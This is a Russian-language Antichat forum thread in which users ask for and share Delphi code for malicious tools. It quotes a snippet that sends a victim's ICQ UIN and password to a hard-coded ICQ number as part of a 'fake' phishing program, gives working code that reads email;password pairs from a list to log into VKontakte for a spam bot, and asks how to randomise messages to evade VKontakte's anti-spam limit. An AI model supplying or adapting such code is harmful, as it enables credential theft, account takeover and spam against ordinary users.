Форум АНТИЧАТ - Вопрос по Delphi

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Вопрос по Delphi (https://forum.antichat.xyz/showthread.php?t=157938)

Вопрос по Delphi

Привет всем кто готов помоч и кто не готов...
У меня возникло 2 вопроса:
1. Например мы выбрали строку в TListBox, теперь жмём кнопку и она вытаскивает "email до ;" "и пароль после ;"
и вставляет его в соответсвующую графу TLabelEdit ну и собственно подставляет его в скрипт:

Код:

WebBrowser.Navigate('http://vkontakte.ru/login.php?email='+EmailEdit.Text+'&pass='+PasswordEdit.Text

Подскажите как такое написать..?

2. Как можно сделать чтобы по Event - 'OnClick' отсылалась куда нить на сервер информация из TLabelEdit. Сегодня читал темы на форуме наткнулся на фейк MailAgent там же нашёл информацию про ICQ client в Delphi полазил по инэту про icq client нашёл прилично информации....но так и не понял даже как его установить, если кому нить не сложно объяснить как его установить, где его достать, и как он работает..буду благодарен...
Всё в той же теме я нашёл такой скрипт:

Код:

procedure TForm1.ICQClient1Login(Sender: TObject); begin 

 icqclient1.SendMessage(370355372, 'Уин: ' + ComboBox1.Text + ' Password: ' + Edit1.Text); 

end;

Он как я понял отсылает...ComboBox1.Text & Edit1.Text в аську....вот я и подумал мб можно установить его себе, прикрепить к программе и собственно фейк готов...???
_http://forum.antichat.ru/thread79328.html - вот та самая темка про фейк...

подскажите как реализовать такое...?!
З.Ы. прошу по голове не бить...в Delphi я еще bot :rolleyes: , но пытаюсь учиться всему...что только можно...

юлин, народ, что у вас с религией??? Почему она вам поиском пользоваться не разрешает??? вот вторая строка в гугле при запросе ICQ client в Delphi, http://delphiexpert.ru/view_download.php?id=156. Вот тут лежит исходник icq клиента

Как установить TICQClient:
0) Удалите предыдущий компонент TICQClient, если ставили его
1) Откройте TICQClient.dpk в Delphi
2) Перейдите в Menu->Tools->Environment Options->Library
3) Нажмите кнопку "..." напротив Library path
4) Добавьте путь в папку, где лежит TICQClient
5) Вернитесь к окошку открытого dpk
6) Нажмите Compile
7) Нажмите Install
8) Теперь можете использовать компонент ICQClient на вкладке Samples

Пользовался нормально этим компонентом для создания фэйков но теперь вылетает ошибка
http://s40.radikal.ru/i090/0911/f5/61f55239a72c.jpg
Незнаете что она означает вернее перевести то я могу, а вот как избавится от нее, и в тулпалет дэлфи icqclient пропал!

Исправил не актуально

***оффтоп
TICQClient гавно, он глючный и старый. Что бы написать то что нужное для ICQ, можно потратить 2-3 дня на изучение протокола и 4 дня на реализацию задачи, чем неделями разбираться с ошибками и думать почему он работает не так как нужно

Цитата:

Сообщение от Jingo Bo

а что скажешь по поводу компонента icq client???

Код:

procedure TForm1.Butto1Click(Sender: TObject);

var

  email, pass, s: string;

begin

  if ListBox1.ItemIndex>-1 then  {Если в ЛистБоксе что-то выбрано}

  begin

    s:= ListBox1.Items.Strings[ListBox1.ItemIndex]; 

    email:=Copy(s, 1, Pos(';', s)-1); {Берем часть строки s, до ;}

    Delete(s, 1, Pos(';', s));{Удаляем часть строки ;, включительно}

    pass:=s;

    WebBrowser.Navigate('http://vkontakte.ru/login.php?email='+email+'&pass='+pass;

  end;

end;

А вообще незнаю, что ты делаешь, но что-то не то.

Цитата:

Сообщение от Proger10

Код:

procedure TForm1.Butto1Click(Sender: TObject);

var

  email, pass, s: string;

begin

  if ListBox1.ItemIndex>-1 then  {Если в ЛистБоксе что-то выбрано}

  begin

    s:= ListBox1.Items.Strings[ListBox1.ItemIndex]; 

    email:=Copy(s, 1, Pos(';', s)-1); {Берем часть строки s, до ;}

    Delete(s, 1, Pos(';', s));{Удаляем часть строки ;, включительно}

    pass:=s;

    WebBrowser.Navigate('http://vkontakte.ru/login.php?email='+email+'&pass='+pass;

  end;

end;

А вообще незнаю, что ты делаешь, но что-то не то.

В каком смысле не то? ну спамер ВК хочу) сделать) ну и собственно надо чтобы из listbox доставалось....а лист бокс грузит файл .txt, вот и вся задача собственно)
А по второму вопросу...ни у кого нету предложений? помимо icq...?

У меня возник еще один вопросик......
Т.к. вконтакте щас есть одно ограничение, а именно ты не можешь отослать одно и то же сообщение, несколько раз подряд.....нужно прикрепить генерацию левых чисел или знаком.....кто нить может поделиться маленьким примером?